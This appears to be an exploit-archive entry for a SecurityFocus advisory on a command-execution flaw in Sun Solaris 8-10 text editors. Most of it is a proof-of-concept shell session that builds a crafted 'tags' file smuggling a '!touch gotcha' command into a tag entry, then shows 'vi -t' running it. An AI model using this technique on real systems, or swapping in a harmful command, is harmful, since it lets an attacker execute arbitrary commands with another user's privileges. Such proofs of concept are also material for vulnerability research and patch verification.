Sun Solaris 9/10 Text Editors - Command Execution
source: https://www.securityfocus.com/bid/31229/info
Sun Solaris text editors are prone to a command-execution vulnerability.
An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.
Sun Solaris 8, 9, and 10 are affected.
$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1 tags
$ vi -t file1line1
:q!
$ ls
file1 gotcha tags
$